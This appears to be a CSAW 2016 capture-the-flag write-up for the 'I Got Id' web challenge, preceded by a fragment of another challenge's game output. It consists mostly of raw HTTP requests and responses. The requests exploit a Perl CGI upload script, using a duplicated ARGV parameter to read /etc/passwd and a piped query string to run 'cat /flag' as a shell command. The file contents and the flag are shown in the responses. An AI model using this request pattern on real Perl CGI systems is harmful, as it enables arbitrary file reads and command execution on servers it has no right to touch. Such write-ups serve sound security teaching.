Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
.....m
TRAINING COMPLETE!
Now you know everything you need to know....
for the rest of your life!
LETS PLAY !
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
.....s
..x
.m
ooooh, you fancy!!!
.....m
..x
.s
key is not (NIIICE JOB)!!!!
TURBO TIME!
key is (no5c30416d6cf52638460377995c6a8cf5)
I Got Id (web / 200)
Regular request:
POST /cgi-bin/file.pl HTTP/1.1
Host: web.chal.csaw.io:8002
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://web.chal.csaw.io:8002/cgi-bin/file.pl
Cookie: __cfduid=d6ef413399798aba40580af74aa4ed9001474100452
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------1308552532609826431173673727
Content-Length: 340
-----------------------------1308552532609826431173673727
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
abcd
-----------------------------1308552532609826431173673727
Content-Disposition: form-data; name="Submit!"
Submit!
-----------------------------1308552532609826431173673727--
HTTP/1.1 200 OK
Server: nginx/1.10.0 (Ubuntu)
Date: Sat, 17 Sep 2016 09:58:10 GMT
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 560
Connection: close
Vary: Accept-Encoding
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
>
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>Perl File Upload</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<h1>Perl File Upload</h1>
<form method="post" enctype="multipart/form-data">
File: <input type="file" name="file" />
<input type="submit" name="Submit!" value="Submit!" />
</form>
<hr />
abcd<br /></body></html>
Sending file
parameter twice to obtain LFI:
POST /cgi-bin/file.pl?/etc/passwd HTTP/1.1
Host: web.chal.csaw.io:8002
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://web.chal.csaw.io:8002/cgi-bin/file.pl
Cookie: __cfduid=d6ef413399798aba40580af74aa4ed9001474100452
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------1308552532609826431173673727
Content-Length: 476
-----------------------------1308552532609826431173673727
Content-Disposition: form-data; name="file"
Content-Type: text/plain
ARGV
-----------------------------1308552532609826431173673727
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
abcd
-----------------------------1308552532609826431173673727
Content-Disposition: form-data; name="Submit!"
Submit!
-----------------------------1308552532609826431173673727--
HTTP/1.1 200 OK
Server: nginx/1.10.0 (Ubuntu)
Date: Sat, 17 Sep 2016 10:04:42 GMT
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 1927
Connection: close
Vary: Accept-Encoding
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
>
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>Perl File Upload</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<h1>Perl File Upload</h1>
<form method="post" enctype="multipart/form-data">
File: <input type="file" name="file" />
<input type="submit" name="Submit!" value="Submit!" />
</form>
<hr />
root:x:0:0:root:/root:/bin/bash
<br />daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<br />bin:x:2:2:bin:/bin:/usr/sbin/nologin
<br />sys:x:3:3:sys:/dev:/usr/sbin/nologin
<br />sync:x:4:65534:sync:/bin:/bin/sync
<br />games:x:5:60:games:/usr/games:/usr/sbin/nologin
<br />man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
<br />lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
<br />mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
<br />news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
<br />uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
<br />proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
<br />www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
<br />backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
<br />list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
<br />irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
<br />gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
<br />nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
<br />systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
<br />systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
<br />systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
<br />systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
<br />_apt:x:104:65534::/nonexistent:/bin/false
<br /></body></html>
Converting LFI to RCE:
POST /cgi-bin/file.pl?cat%20/flag%20%23| HTTP/1.1
Host: web.chal.csaw.io:8002
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://web.chal.csaw.io:8002/cgi-bin/file.pl
Cookie: __cfduid=d6ef413399798aba40580af74aa4ed9001474100452
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------1308552532609826431173673727
Content-Length: 476
-----------------------------1308552532609826431173673727
Content-Disposition: form-data; name="file"
Content-Type: text/plain
ARGV
-----------------------------1308552532609826431173673727
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
abcd
-----------------------------1308552532609826431173673727
Content-Disposition: form-data; name="Submit!"
Submit!
-----------------------------1308552532609826431173673727--
HTTP/1.1 200 OK
Server: nginx/1.10.0 (Ubuntu)
Date: Sat, 17 Sep 2016 10:05:32 GMT
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 587
Connection: close
Vary: Accept-Encoding
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
>
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>Perl File Upload</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<h1>Perl File Upload</h1>
<form method="post" enctype="multipart/form-data">
File: <input type="file" name="file" />
<input type="submit" name="Submit!" value="Submit!" />
</form>
<hr />
FLAG{p3rl_6_iz_EVEN_BETTER!!1}
<br /></body></html>
References: